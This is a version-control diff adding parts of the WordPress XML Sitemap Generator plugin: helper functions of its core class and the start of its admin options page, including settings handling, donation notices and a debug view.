+	 * Echos option fields for an select field containing the valid change frequencies
+	 *
+	 * @since 3.0
+	 * @access private
+	 * @author Arne Brachhold
+	 * @param $currentVal The value which should be selected
+	 * @return all valid change frequencies as html option fields
+	 */
+	function HtmlGetFreqNames($currentVal) {
+				
+		foreach($this->_freqNames AS $k=>$v) {
+			echo "<option value=\"$k\" " . $this->HtmlGetSelected($k,$currentVal) .">" . $v . "</option>";
+		}
+	}
+	
+	/**
+	 * Echos option fields for an select field containing the valid priorities (0- 1.0)
+	 *
+	 * @since 3.0
+	 * @access private
+	 * @author Arne Brachhold
+	 * @param $currentVal string The value which should be selected
+	 * @return 0.0 - 1.0 as html option fields
+	 */
+	function HtmlGetPriorityValues($currentVal) {
+		$currentVal=(float) $currentVal;
+		for($i=0.0; $i<=1.0; $i+=0.1) {
+			$v = number_format($i,1,".","");
+			$t = number_format_i18n($i,1);
+			echo "<option value=\"" . $v . "\" " . $this->HtmlGetSelected("$i","$currentVal") .">";
+			echo $t;
+			echo "</option>";
+		}
+	}
+	
+	/**
+	 * Returns the checked attribute if the given values match
+	 *
+	 * @since 3.0
+	 * @access private
+	 * @author Arne Brachhold
+	 * @param $val string The current value
+	 * @param $equals string The value to match
+	 * @return The checked attribute if the given values match, an empty string if not
+	 */
+	function HtmlGetChecked($val,$equals) {
+		if($val==$equals) return $this->HtmlGetAttribute("checked");
+		else return "";
+	}
+	
+	/**
+	 * Returns the selected attribute if the given values match
+	 *
+	 * @since 3.0
+	 * @access private
+	 * @author Arne Brachhold
+	 * @param $val string The current value
+	 * @param $equals string The value to match
+	 * @return The selected attribute if the given values match, an empty string if not
+	 */
+	function HtmlGetSelected($val,$equals) {
+		if($val==$equals) return $this->HtmlGetAttribute("selected");
+		else return "";
+	}
+	
+	/**
+	 * Returns an formatted attribute. If the value is NULL, the name will be used.
+	 *
+	 * @since 3.0
+	 * @access private
+	 * @author Arne Brachhold
+	 * @param $attr string The attribute name
+	 * @param $value string The attribute value
+	 * @return The formatted attribute
+	 */
+	function HtmlGetAttribute($attr,$value=NULL) {
+		if($value==NULL) $value=$attr;
+		return " " . $attr . "=\"" . $value . "\" ";
+	}
+	
+	/**
+	 * Returns an array with GoogleSitemapGeneratorPage objects which is generated from POST values
+	 *
+	 * @since 3.0
+	 * @see GoogleSitemapGeneratorPage
+	 * @access private
+	 * @author Arne Brachhold
+	 * @return array An array with GoogleSitemapGeneratorPage objects
+	 */
+	function HtmlApplyPages() {
+		// Array with all page URLs
+		$pages_ur=(!isset($_POST["sm_pages_ur"]) || !is_array($_POST["sm_pages_ur"])?array():$_POST["sm_pages_ur"]);
+		
+		//Array with all priorities
+		$pages_pr=(!isset($_POST["sm_pages_pr"]) || !is_array($_POST["sm_pages_pr"])?array():$_POST["sm_pages_pr"]);
+		
+		//Array with all change frequencies
+		$pages_cf=(!isset($_POST["sm_pages_cf"]) || !is_array($_POST["sm_pages_cf"])?array():$_POST["sm_pages_cf"]);
+		
+		//Array with all lastmods
+		$pages_lm=(!isset($_POST["sm_pages_lm"]) || !is_array($_POST["sm_pages_lm"])?array():$_POST["sm_pages_lm"]);
+
+		//Array where the new pages are stored
+		$pages=array();
+		//Loop through all defined pages and set their properties into an object
+		if(isset($_POST["sm_pages_mark"]) && is_array($_POST["sm_pages_mark"])) {
+			for($i=0; $i<count($_POST["sm_pages_mark"]); $i++) {
+				//Create new object
+				$p=new GoogleSitemapGeneratorPage();
+				if(substr($pages_ur[$i],0,4)=="www.") $pages_ur[$i]="http://" . $pages_ur[$i];
+				$p->SetUrl($pages_ur[$i]);
+				$p->SetProprity($pages_pr[$i]);
+				$p->SetChangeFreq($pages_cf[$i]);
+				//Try to parse last modified, if -1 (note ===) automatic will be used (0)
+				$lm=(!empty($pages_lm[$i])?strtotime($pages_lm[$i],time()):-1);
+				if($lm===-1) $p->setLastMod(0);
+				else $p->setLastMod($lm);
+				//Add it to the array
+				array_push($pages,$p);
+			}
+		}
+
+		return $pages;
+	}
+	
+	function GetTimestampFromMySql($mysqlDateTime) {
+		list($date, $hours) = split(' ', $mysqlDateTime);
+		list($year,$month,$day) = split('-',$date);
+		list($hour,$min,$sec) = split(':',$hours);
+		return mktime(intval($hour), intval($min), intval($sec), intval($month), intval($day), intval($year));
+	}
+	
+	function GetRedirectLink($redir) {
+		return trailingslashit("http://www.arnebrachhold.de/redir/" . $redir);
+	}
+	
+	function GetBackLink() {
+		$page = basename(__FILE__);
+		if(isset($_GET['page']) && !empty($_GET['page'])) {
+			$page = preg_replace('[^a-zA-Z0-9\.\_\-]','',$_GET['page']);
+		}
+		
+		if(function_exists("admin_url")) return admin_url(basename($_SERVER["PHP_SELF"])) . "?page=" .  $page;
+		else return $_SERVER['PHP_SELF'] . "?page=" .  $page;
+	}
+	
+	function HtmlShowOptionsPage() {
+		
+		$ui = $this->GetUI();
+		if($ui) {
+			$ui->HtmlShowOptionsPage();
+			return true;
+		}
+		
+		return false;
+	}
+	
+	var $_ui = null;
+	
+	function GetUI() {
+
+		global $wp_version;
+		
+		if($this->_ui === null) {
+			
+			$className='GoogleSitemapGeneratorUI';
+			$fileName='sitemap-ui.php';
+
+			if(!class_exists($className)) {
+				
+				$path = trailingslashit(dirname(__FILE__));
+				
+				if(!file_exists( $path . $fileName)) return false;
+				require_once($path. $fileName);
+			}
+	
+			$this->_ui = new $className($this);
+			
+		}
+		
+		return $this->_ui;
+	}
+	
+	function HtmlShowHelp() {
+		
+		
+	}
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/google-sitemap-generator/sitemap-ui.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/google-sitemap-generator/sitemap-ui.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/google-sitemap-generator/sitemap-ui.php	(revision 44)
@@ -0,0 +1,1198 @@
+<?php
+/*
+ 
+ $Id: sitemap-ui.php 150610 2009-08-30 21:11:36Z arnee $
+
+*/
+
+class GoogleSitemapGeneratorUI {
+
+	/**
+	 * The Sitemap Generator Object
+	 *
+	 * @var GoogleSitemapGenerator
+	 */
+	var $sg = null;
+	
+	var $mode = 21;
+
+	function GoogleSitemapGeneratorUI($sitemapBuilder) {
+		global $wp_version;
+		$this->sg = $sitemapBuilder;
+		
+		if(floatval($wp_version) >= 2.7) {
+			$this->mode = 27;
+		}
+	}
+	
+	function HtmlPrintBoxHeader($id, $title, $right = false) {
+		if($this->mode == 27) {
+			?>
+			<div id="<?php echo $id; ?>" class="postbox">
+				<h3 class="hndle"><span><?php echo $title ?></span></h3>
+				<div class="inside">
+			<?php
+		} else {
+			?>
+			<fieldset id="<?php echo $id; ?>" class="dbx-box">
+				<?php if(!$right): ?><div class="dbx-h-andle-wrapper"><?php endif; ?>
+				<h3 class="dbx-handle"><?php echo $title ?></h3>
+				<?php if(!$right): ?></div><?php endif; ?>
+				
+				<?php if(!$right): ?><div class="dbx-c-ontent-wrapper"><?php endif; ?>
+					<div class="dbx-content">
+			<?php
+		}
+	}
+	
+	function HtmlPrintBoxFooter( $right = false) {
+			if($this->mode == 27) {
+			?>
+				</div>
+			</div>
+			<?php
+		} else {
+			?>
+					<?php if(!$right): ?></div><?php endif; ?>
+				</div>
+			</fieldset>
+			<?php
+		}
+	}
+	
+	/**
+	 * Displays the option page
+	 *
+	 * @since 3.0
+	 * @access public
+	 * @author Arne Brachhold
+	 */
+	function HtmlShowOptionsPage() {
+		global $wp_version;
+		$this->sg->Initate();
+			
+		//All output should go in this var which get printed at the end
+		$message="";
+		
+		if(isset($_GET['sm_hidedonate'])) {
+			$this->sg->SetOption('i_hide_donated',true);
+			$this->sg->SaveOptions();
+		}
+		if(isset($_GET['sm_donated'])) {
+			$this->sg->SetOption('i_donated',true);
+			$this->sg->SaveOptions();
+		}
+		if(isset($_GET['sm_hide_note'])) {
+			$this->sg->SetOption('i_hide_note',true);
+			$this->sg->SaveOptions();
+		}
+		if(isset($_GET['sm_hidedonors'])) {
+			$this->sg->SetOption('i_hide_donors',true);
+			$this->sg->SaveOptions();
+		}
+		
+		if(isset($_GET['sm_donated']) || ($this->sg->GetOption('i_donated')===true && $this->sg->GetOption('i_hide_donated')!==true)) {
+			?>
+			<div class="updated">
+				<strong><p><?php _e('Thank you very much for your donation. You help me to continue support and development of this plugin and other free software!','sitemap'); ?> <a href="<?php echo $this->sg->GetBackLink() . "&amp;sm_hidedonate=true"; ?>"><small style="font-weight:normal;"><?php _e('Hide this notice', 'sitemap'); ?></small></a></p></strong>
+			</div>
+			<?php
+		} else if($this->sg->GetOption('i_donated') !== true && $this->sg->GetOption('i_install_date')>0 && $this->sg->GetOption('i_hide_note')!==true && time() > ($this->sg->GetOption('i_install_date') + (60*60*24*30))) {
+			?>
+			<div class="updated">
+				<strong><p><?php echo str_replace("%s",$this->sg->GetRedirectLink("sitemap-donate-note"),__('Thanks for using this plugin! You\'ve installed this plugin over a month ago. If it works and your are satisfied with the results, isn\'t it worth at least one dollar? <a href="%s">Donations</a> help me to continue support and development of this <i>free</i> software! <a href="%s">Sure, no problem!</a>','sitemap')); ?> <a href="<?php echo $this->sg->GetBackLink() . "&amp;sm_hide_note=true"; ?>" style="float:right; display:block; border:none;"><small style="font-weight:normal; "><?php _e('No thanks, please don\'t bug me anymore!', 'sitemap'); ?></small></a></p></strong>
+				<div style="clear:right;"></div>
+			</div>
+			<?php
+		}
+		
+		if(function_exists("wp_next_scheduled")) {
+			$next = wp_next_scheduled('sm_build_cron');
+			if($next) {
+				$diff = (time()-$next)*-1;
+				if($diff <= 0) {
+					$diffMsg = __('Your sitemap is being refreshed at the moment. Depending on your blog size this might take some time!','sitemap');
+				} else {
+					$diffMsg = str_replace("%s",$diff,__('Your sitemap will be refreshed in %s seconds. Depending on your blog size this might take some time!','sitemap'));
+				}
+				?>
+				<div class="updated">
+					<strong><p><?php echo $diffMsg ?></p></strong>
+					<div style="clear:right;"></div>
+				</div>
+				<?php
+			}
+		}
+		if(!empty($_REQUEST["sm_rebuild"]) || !empty($_REQUEST["sm_rebuild"])) {
+			//Clear any outstanding build cron jobs
+			if(function_exists('wp_clear_scheduled_hook')) wp_clear_scheduled_hook('sm_build_cron');
+		}
+		
+		if(!empty($_REQUEST["sm_rebuild"])) { //Pressed Button: Rebuild Sitemap
+			check_admin_referer('sitemap');
+			if(isset($_GET["sm_do_debug"]) && $_GET["sm_do_debug"]=="true") {
+				
+				//Check again, just for the case that something went wrong before
+				if(!current_user_can("administrator")) {
+					echo '<p>Please log in as admin</p>';
+					return;
+				}
+				
+				$oldErr = error_reporting(E_ALL);
+				$oldIni = ini_set("display_errors",1);
+
+				echo '<div class="wrap">';
+				echo '<h2>' .  __('XML Sitemap Generator for WordPress', 'sitemap') .  " " . $this->sg->GetVersion(). '</h2>';
+				echo '<p>This is the debug mode of the XML Sitemap Generator. It will show all PHP notices and warnings as well as the internal logs, messages and configuration.</p>';
+				echo '<p style="font-weight:bold; color:red; padding:5px; border:1px red solid; text-align:center;">DO NOT POST THIS INFORMATION ON PUBLIC PAGES LIKE SUPPORT FORUMS AS IT MAY CONTAIN PASSWORDS OR SECRET SERVER INFORMATION!</p>';
+				echo "<h3>WordPress and PHP Information</h3>";
+				echo '<p>WordPress ' . $GLOBALS['wp_version'] . ' with ' . ' DB ' . $GLOBALS['wp_db_version'] . ' on PHP ' . phpversion() . '</p>';
+				echo '<p>Plugin version: ' . $this->sg->GetVersion() . ' (' . $this->sg->_svnVersion . ')';
+				echo '<h4>Environment</h4>';
+				echo "<pre>";
+				$sc = $_SERVER;
+				unset($sc["HTTP_COOKIE"]);
+				print_r($sc);
+				echo "</pre>";
+				echo "<h4>WordPress Config</h4>";
+				echo "<pre>";
+				$opts = array();
+				if(function_exists('wp_load_alloptions')) {
+					$opts = wp_load_alloptions();
+				} else {
+					global $wpdb;
+					$os = $wpdb->get_results( "SELECT option_name, option_value FROM $wpdb->options");
+					foreach ( (array) $os as $o ) $opts[$o->option_name] = $o->option_value;
+				}
+				
+				$popts = array();
+				foreach($opts as $k=>$v) {
+					//Try to filter out passwords etc...
+					if(preg_match("/(pass|login|pw|secret|user|usr)/si",$v)) continue;
+					$popts[$k] = htmlspecialchars($v);
+				}
+				print_r($popts);
+				echo "</pre>";
+				echo '<h4>Sitemap Config</h4>';
+				echo "<pre>";
+				print_r($this->sg->_options);
+				echo "</pre>";
+				echo '<h3>Errors, Warnings, Notices</h3>';
+				echo '<div>';
+				$status = $this->sg->BuildSitemap();
+				echo '</div>';
+				echo '<h3>MySQL Queries</h3>';
+				if(defined('SAVEQUERIES') && SAVEQUERIES) {
+					echo '<pre>';
+					var_dump($GLOBALS['wpdb']->queries);
+					echo '</pre>';
+					
+					$total = 0;
+					foreach($GLOBALS['wpdb']->queries as $q) {
+						$total+=$q[1];
+					}
+					echo '<h4>Total Query Time</h4>';
+					echo '<pre>' . count($GLOBALS['wpdb']->queries) . ' queries in ' . round($total,2) . ' seconds.</pre>';
+				} else {
+					echo '<p>Please edit wp-db.inc.php in wp-includes and set SAVEQUERIES to true if you want to see the queries.</p>';
+				}
+				echo "<h3>Build Process Results</h3>";
+				echo "<pre>";
+				print_r($status);
+				echo "</pre>";
+				echo '<p>Done. <a href="' . wp_nonce_url($this->sg->GetBackLink() . "&sm_rebuild=true&sm_do_debug=true",'sitemap') . '">Rebuild</a> or <a href="' . $this->sg->GetBackLink() . '">Return</a></p>';
+				echo '<p style="font-weight:bold; color:red; padding:5px; border:1px red solid; text-align:center;">DO NOT POST THIS INFORMATION ON PUBLIC PAGES LIKE SUPPORT FORUMS AS IT MAY CONTAIN PASSWORDS OR SECRET SERVER INFORMATION!</p>';
+				echo '</div>';
+				@error_reporting($oldErr);
+				@ini_set("display_errors",$oldIni);
+				return;
+			} else {
+				$this->sg->BuildSitemap();
+				$redirURL = $this->sg->GetBackLink() . '&sm_fromrb=true';
+				
+				//Redirect so the sm_rebuild GET parameter no longer exists.
+				@header("location: " . $redirURL);
+				//If there was already any other output, the header redirect will fail
+				echo '<script type="text/javascript">location.replace("' . $redirURL . '");</script>';
+				echo '<noscript><a href="' . $redirURL . '">Click here to continue</a></noscript>';
+				exit;
+			}
+		} else if (!empty($_POST['sm_update'])) { //Pressed Button: Update Config
+			check_admin_referer('sitemap');
+			
+			if(isset($_POST['sm_b_style']) && $_POST['sm_b_style'] == $this->sg->getDefaultStyle()) {
+				$_POST['sm_b_style_default'] = true;
+				$_POST['sm_b_style'] = '';
+			}
+			
+			foreach($this->sg->_options as $k=>$v) {
+				//Check vor values and convert them into their types, based on the category they are in
+				if(!isset($_POST[$k])) $_POST[$k]=""; // Empty string will get false on 2bool and 0 on 2float
+				
+				//Options of the category "Basic Settings" are boolean, except the filename and the autoprio provider
+				if(substr($k,0,5)=="sm_b_") {
+					if($k=="sm_b_filename" || $k=="sm_b_fileurl_manual" || $k=="sm_b_filename_manual" || $k=="sm_b_prio_provider" || $k=="sm_b_manual_key" || $k == "sm_b_yahookey" || $k == "sm_b_style" || $k == "sm_b_memory") {
+						if($k=="sm_b_filename_manual" && strpos($_POST[$k],"\\")!==false){
+							$_POST[$k]=stripslashes($_POST[$k]);
+						}
+						
+						$this->sg->_options[$k]=(string) $_POST[$k];
+					} else if($k=="sm_b_location_mode") {
+						$tmp=(string) $_POST[$k];
+						$tmp=strtolower($tmp);
+						if($tmp=="auto" || $tmp="manual") $this->sg->_options[$k]=$tmp;
+						else $this->sg->_options[$k]="auto";
+					} else if($k == "sm_b_time" || $k=="sm_b_max_posts") {
+						if($_POST[$k]=='') $_POST[$k] = -1;
+						$this->sg->_options[$k] = intval($_POST[$k]);
+					} else if($k== "sm_i_install_date") {
+						if($this->sg->GetOption('i_install_date')<=0) $this->sg->_options[$k] = time();
+					} else if($k=="sm_b_exclude") {
+						$IDss = array();
+						$IDs = explode(",",$_POST[$k]);
+						for($x = 0; $x<count($IDs); $x++) {
+							$ID = intval(trim($IDs[$x]));
+							if($ID>0) $IDss[] = $ID;
+						}
+						$this->sg->_options[$k] = $IDss;
+					} else if($k == "sm_b_exclude_cats") {
+						$exCats = array();
+						if(isset($_POST["post_category"])) {
+							foreach((array) $_POST["post_category"] AS $vv) if(!empty($vv) && is_numeric($vv)) $exCats[] = intval($vv);
+						}
+						$this->sg->_options[$k] = $exCats;
+					} else {
+						$this->sg->_options[$k]=(bool) $_POST[$k];
+
+					}
+				//Options of the category "Includes" are boolean
+				} else if(substr($k,0,6)=="sm_in_") {
+					$this->sg->_options[$k]=(bool) $_POST[$k];
+				//Options of the category "Change frequencies" are string
+				} else if(substr($k,0,6)=="sm_cf_") {
+					$this->sg->_options[$k]=(string) $_POST[$k];
+				//Options of the category "Priorities" are float
+				} else if(substr($k,0,6)=="sm_pr_") {
+					$this->sg->_options[$k]=(float) $_POST[$k];
+				}
+			}
+			
+			//No Mysql unbuffered query for WP < 2.2
+			if(floatval($wp_version) < 2.2) {
+				$this->sg->SetOption('b_safemode',true);
+			}
+			
+			//No Wp-Cron for WP < 2.1
+			if(floatval($wp_version) < 2.1) {
+				$this->sg->SetOption('b_auto_delay',false);
+			}
+			
+			//Apply page changes from POST
+			$this->sg->_pages=$this->sg->HtmlApplyPages();
+			
+			if($this->sg->SaveOptions()) $message.=__('Configuration updated', 'sitemap') . "<br />";
+			else $message.=__('Error while saving options', 'sitemap') . "<br />";
+			
+			if($this->sg->SavePages()) $message.=__("Pages saved",'sitemap') . "<br />";
+			else $message.=__('Error while saving pages', 'sitemap'). "<br />";
+			
+		} else if(!empty($_POST["sm_reset_config"])) { //Pressed Button: Reset Config
+			check_admin_referer('sitemap');
+			$this->sg->InitOptions();
+			$this->sg->SaveOptions();
+			
+			$message.=__('The default configuration was restored.','sitemap');
+		}
+		
+		//Print out the message to the user, if any
+		if($message!="") {
+			?>
+			<div class="updated"><strong><p><?php
+			echo $message;
+			?></p></strong></div><?php
+		}
+		?>
+				
+		<style type="text/css">
+		
+		li.sm_hint {
+			color:green;
+		}
+		
+		li.sm_optimize {
+			color:orange;
+		}
+		
+		li.sm_error {
+			color:red;
+		}
+		
+		input.sm_warning:hover {
+			background: #ce0000;
+			color: #fff;
+		}
+		
+		a.sm_button {
+			padding:4px;
+			display:block;
+			padding-left:25px;
+			background-repeat:no-repeat;
+			background-position:5px 50%;
+			text-decoration:none;
+			border:none;
+		}
+		
+		a.sm_button:hover {
+			border-bottom-width:1px;
+		}
+
+		a.sm_donatePayPal {
+			background-image:url(<?php echo $this->sg->GetPluginUrl(); ?>img/icon-paypal.gif);
+		}
+		
+		a.sm_donateAmazon {
+			background-image:url(<?php echo $this->sg->GetPluginUrl(); ?>img/icon-amazon.gif);
+		}
+		
+		a.sm_pluginHome {
+			background-image:url(<?php echo $this->sg->GetPluginUrl(); ?>img/icon-arne.gif);
+		}
+		
+		a.sm_pluginList {
+			background-image:url(<?php echo $this->sg->GetPluginUrl(); ?>img/icon-email.gif);
+		}
+		
+		a.sm_pluginSupport {
+			background-image:url(<?php echo $this->sg->GetPluginUrl(); ?>img/icon-wordpress.gif);
+		}
+		
+		a.sm_pluginBugs {
+			background-image:url(<?php echo $this->sg->GetPluginUrl(); ?>img/icon-trac.gif);
+		}
+		
+		a.sm_resGoogle {
+			background-image:url(<?php echo $this->sg->GetPluginUrl(); ?>img/icon-google.gif);
+		}
+		
+		a.sm_resYahoo {
+			background-image:url(<?php echo $this->sg->GetPluginUrl(); ?>img/icon-yahoo.gif);
+		}
+		
+		a.sm_resBing {
+			background-image:url(<?php echo $this->sg->GetPluginUrl(); ?>img/icon-bing.gif);
+		}
+		
+		div.sm-update-nag p {
+			margin:5px;
+		}
+		
+		</style>
+		
+		<?php
+			if($this->mode == 27): ?>
+			<style type="text/css">
+		
+				.sm-padded .inside {
+					margin:12px!important;
+				}
+				.sm-padded .inside ul {
+					margin:6px 0 12px 0;
+				}
+				
+				.sm-padded .inside input {
+					padding:1px;
+					margin:0;
+				}
+			</style>
+				
+			<?php elseif(version_compare($wp_version,"2.5",">=")): ?>
+				<style type="text/css">
+					div#moremeta {
+						float:right;
+						width:200px;
+						margin-left:10px;
+					}
+					div#advancedstuff {
+						width:770px;
+					}
+					div#poststuff {
+						margin-top:10px;
+					}
+					fieldset.dbx-box {
+						margin-bottom:5px;
+					}
+					
+					div.sm-update-nag {
+						margin-top:10px!important;
+					}
+				</style>
+				<!--[if lt IE 7]>
+					<style type="text/css">
+						div#advancedstuff {
+							width:735px;
+						}
+					</style>
+				<![endif]-->
+				
+			<?php else: ?>
+				<style type="text/css">
+					div.updated-message {
+						margin-left:0; margin-right:0;
+					}
+				</style>
+			<?php endif;
+		?>
+		
+		<div class="wrap" id="sm_div">
+			<form method="post" action="<?php echo $this->sg->GetBackLink() ?>">
+				<h2><?php _e('XML Sitemap Generator for WordPress', 'sitemap'); echo " " . $this->sg->GetVersion() ?> </h2>
+		<?php
+		if(function_exists("wp_update_plugins") && (!defined('SM_NO_UPDATE') || SM_NO_UPDATE == false)) {
+			wp_update_plugins();
+			
+			$file = GoogleSitemapGeneratorLoader::GetBaseName();
+			
+			$plugin_data = get_plugin_data(GoogleSitemapGeneratorLoader::GetPluginFile());
+			$current = get_option( 'update_plugins' );
+			if(isset($current->response[$file])) {
+				$r = $current->response[$file];
+				?><div id="update-nag" class="sm-update-nag"><?php
+				if ( !current_user_can('edit_plugins') || version_compare($wp_version,"2.5","<") )
+					printf( __('There is a new version of %1$s available. <a href="%2$s">Download version %3$s here</a>.','default'), $plugin_data['Name'], $r->url, $r->new_version);
+				else if ( empty($r->package) )
+					printf( __('There is a new version of %1$s available. <a href="%2$s">Download version %3$s here</a> <em>automatic upgrade unavailable for this plugin</em>.','default'), $plugin_data['Name'], $r->url, $r->new_version);
+				else
+					printf( __('There is a new version of %1$s available. <a href="%2$s">Download version %3$s here</a> or <a href="%4$s">upgrade automatically</a>.','default'), $plugin_data['Name'], $r->url, $r->new_version, wp_nonce_url("update.php?action=upgrade-plugin&amp;plugin=$file", 'upgrade-plugin_' . $file) );
+
+				?></div><?php
+			}
+		}
+		?>
+				
+				<?php if(version_compare($wp_version,"2.5","<")): ?>
+				<script type="text/javascript" src="../wp-includes/js/dbx.js"></script>
+				<script type="text/javascript">
+				//<![CDATA[
+				addLoadEvent( function() {
+					var manager = new dbxManager('sm_sitemap_meta_33');
+					
+					//create new docking boxes group
+					var meta = new dbxGroup(
+						'grabit', 		// container ID [/-_a-zA-Z0-9/]
+						'vertical', 	// orientation ['vertical'|'horizontal']
+						'10', 			// drag threshold ['n' pixels]
+						'no',			// restrict drag movement to container axis ['yes'|'no']
+						'10', 			// animate re-ordering [frames per transition, or '0' for no effect]
+						'yes', 			// include open/close toggle buttons ['yes'|'no']
+						'open', 		// default state ['open'|'closed']
+						<?php echo "'" . js_escape(__('open')); ?>', 		// word for "open", as in "open this box"
+						<?php echo "'" . js_escape(__('close')); ?>', 		// word for "close", as in "close this box"
+						<?php echo "'" . js_escape(__('click-down and drag to move this box')); ?>', // sentence for "move this box" by mouse
+						<?php echo "'" . js_escape(__('click to %toggle% this box')); ?>', // pattern-match sentence for "(open|close) this box" by mouse
+						<?php echo "'" . js_escape(__('use the arrow keys to move this box')); ?>', // sentence for "move this box" by keyboard
+						<?php echo "'" . js_escape(__(', or press the enter key to %toggle% it')); ?>',  // pattern-match sentence-fragment for "(open|close) this box" by keyboard
+						'%mytitle%  [%dbxtitle%]' // pattern-match syntax for title-attribute conflicts
+						);
+
+					var advanced = new dbxGroup(
+						'advancedstuff', 		// container ID [/-_a-zA-Z0-9/]
+						'vertical', 		// orientation ['vertical'|'horizontal']
+						'10', 			// drag threshold ['n' pixels]
+						'yes',			// restrict drag movement to container axis ['yes'|'no']
+						'10', 			// animate re-ordering [frames per transition, or '0' for no effect]
+						'yes', 			// include open/close toggle buttons ['yes'|'no']
+						'open', 		// default state ['open'|'closed']
+						<?php echo "'" . js_escape(__('open')); ?>', 		// word for "open", as in "open this box"
+						<?php echo "'" . js_escape(__('close')); ?>', 		// word for "close", as in "close this box"
+						<?php echo "'" . js_escape(__('click-down and drag to move this box')); ?>', // sentence for "move this box" by mouse
+						<?php echo "'" . js_escape(__('click to %toggle% this box')); ?>', // pattern-match sentence for "(open|close) this box" by mouse
+						<?php echo "'" . js_escape(__('use the arrow keys to move this box')); ?>', // sentence for "move this box" by keyboard
+						<?php echo "'" . js_escape(__(', or press the enter key to %toggle% it')); ?>',  // pattern-match sentence-fragment for "(open|close) this box" by keyboard
+						'%mytitle%  [%dbxtitle%]' // pattern-match syntax for title-attribute conflicts
+						);
+				});
+				//]]>
+				</script>
+				<?php endif; ?>
+
+				<?php if($this->mode == 27): ?>
+				<div id="poststuff" class="metabox-holder has-right-sidebar">
+					<div class="inner-sidebar">
+						<div id="side-sortables" class="meta-box-sortabless ui-sortable" style="position:relative;">
+				<?php else: ?>
+				<div id="poststuff">
+					<div id="moremeta">
+						<div id="grabit" class="dbx-group">
+				<?php endif; ?>
+				
+						<?php $this->HtmlPrintBoxHeader('sm_pnres',__('About this Plugin:','sitemap'),true); ?>
+							<a class="sm_button sm_pluginHome"    href="<?php echo $this->sg->GetRedirectLink('sitemap-home'); ?>"><?php _e('Plugin Homepage','sitemap'); ?></a>
+							<a class="sm_button sm_pluginHome"    href="<?php echo $this->sg->GetRedirectLink('sitemap-feedback'); ?>"><?php _e('Suggest a Feature','sitemap'); ?></a>
+							<a class="sm_button sm_pluginList"    href="<?php echo $this->sg->GetRedirectLink('sitemap-list'); ?>"><?php _e('Notify List','sitemap'); ?></a>
+							<a class="sm_button sm_pluginSupport" href="<?php echo $this->sg->GetRedirectLink('sitemap-support'); ?>"><?php _e('Support Forum','sitemap'); ?></a>
+							<a class="sm_button sm_pluginBugs"    href="<?php echo $this->sg->GetRedirectLink('sitemap-bugs'); ?>"><?php _e('Report a Bug','sitemap'); ?></a>
+							
+							<a class="sm_button sm_donatePayPal"  href="<?php echo $this->sg->GetRedirectLink('sitemap-paypal'); ?>"><?php _e('Donate with PayPal','sitemap'); ?></a>
+							<a class="sm_button sm_donateAmazon"  href="<?php echo $this->sg->GetRedirectLink('sitemap-amazon'); ?>"><?php _e('My Amazon Wish List','sitemap'); ?></a>
+							<?php if(__('translator_name','sitemap')!='translator_name') {?><a class="sm_button sm_pluginSupport" href="<?php _e('translator_url','sitemap'); ?>"><?php _e('translator_name','sitemap'); ?></a><?php } ?>
+						<?php $this->HtmlPrintBoxFooter(true); ?>
+						
+						<?php $this->HtmlPrintBoxHeader('sm_smres',__('Sitemap Resources:','sitemap'),true); ?>
+							<a class="sm_button sm_resGoogle"    href="<?php echo $this->sg->GetRedirectLink('sitemap-gwt'); ?>"><?php _e('Webmaster Tools','sitemap'); ?></a>
+							<a class="sm_button sm_resGoogle"    href="<?php echo $this->sg->GetRedirectLink('sitemap-gwb'); ?>"><?php _e('Webmaster Blog','sitemap'); ?></a>
+							
+							<a class="sm_button sm_resYahoo"     href="<?php echo $this->sg->GetRedirectLink('sitemap-yse'); ?>"><?php _e('Site Explorer','sitemap'); ?></a>
+							<a class="sm_button sm_resYahoo"     href="<?php echo $this->sg->GetRedirectLink('sitemap-ywb'); ?>"><?php _e('Search Blog','sitemap'); ?></a>
+							
+							<a class="sm_button sm_resBing"     href="<?php echo $this->sg->GetRedirectLink('sitemap-lwt'); ?>"><?php _e('Webmaster Tools','sitemap'); ?></a>
+							<a class="sm_button sm_resBing"     href="<?php echo $this->sg->GetRedirectLink('sitemap-lswcb'); ?>"><?php _e('Webmaster Center Blog','sitemap'); ?></a>
+							<br />
+							<a class="sm_button sm_resGoogle"    href="<?php echo $this->sg->GetRedirectLink('sitemap-prot'); ?>"><?php _e('Sitemaps Protocol','sitemap'); ?></a>
+							<a class="sm_button sm_resGoogle"    href="<?php echo $this->sg->GetRedirectLink('sitemap-ofaq'); ?>"><?php _e('Official Sitemaps FAQ','sitemap'); ?></a>
+							<a class="sm_button sm_pluginHome"   href="<?php echo $this->sg->GetRedirectLink('sitemap-afaq'); ?>"><?php _e('My Sitemaps FAQ','sitemap'); ?></a>
+						<?php $this->HtmlPrintBoxFooter(true); ?>
+						
+						<?php $this->HtmlPrintBoxHeader('dm_donations',__('Recent Donations:','sitemap'),true); ?>
+											
+							<?php if($this->sg->GetOption('i_hide_donors')!==true) { ?>
+								<iframe border="0" frameborder="0" scrolling="no" allowtransparency="yes" style="width:100%; height:80px;" src="<?php echo $this->sg->GetRedirectLink('sitemap-donorlist'); ?>">
+								<?php _e('List of the donors','sitemap'); ?>
+								</iframe><br />
+								<a href="<?php echo $this->sg->GetBackLink() . "&amp;sm_hidedonors=true"; ?>"><small><?php _e('Hide this list','sitemap'); ?></small></a><br /><br />
+							<?php } ?>
+							<a style="float:left; margin-right:5px; border:none;" href="javascript:document.getElementById('sm_donate_form').submit();"><img style="vertical-align:middle; border:none; margin-top:2px;" src="<?php echo $this->sg->GetPluginUrl(); ?>img/icon-donate.gif" border="0" alt="PayPal" title="Help me to continue support of this plugin :)" /></a>
+							<span><small><?php _e('Thanks for your support!','sitemap'); ?></small></span>
+							<div style="clear:left; height:1px;"></div>
+						<?php $this->HtmlPrintBoxFooter(true); ?>
+				
+						</div>
+					</div>
+					
+					<?php if($this->mode == 27): ?>
+						<div class="has-sidebar sm-padded" >
+					
+							<div id="post-body-content" class="has-sidebar-content">
+						
+								<div class="meta-box-sortabless">
+					<?php else: ?>
+						<div id="advancedstuff" class="dbx-group" >
+					<?php endif; ?>
+					
+					<!-- Rebuild Area -->
+					<?php
+						$status = GoogleSitemapGeneratorStatus::Load();
+						$head = __('The sitemap wasn\'t generated yet.','sitemap');
+						if($status != null) {
+							$st=$status->GetStartTime();
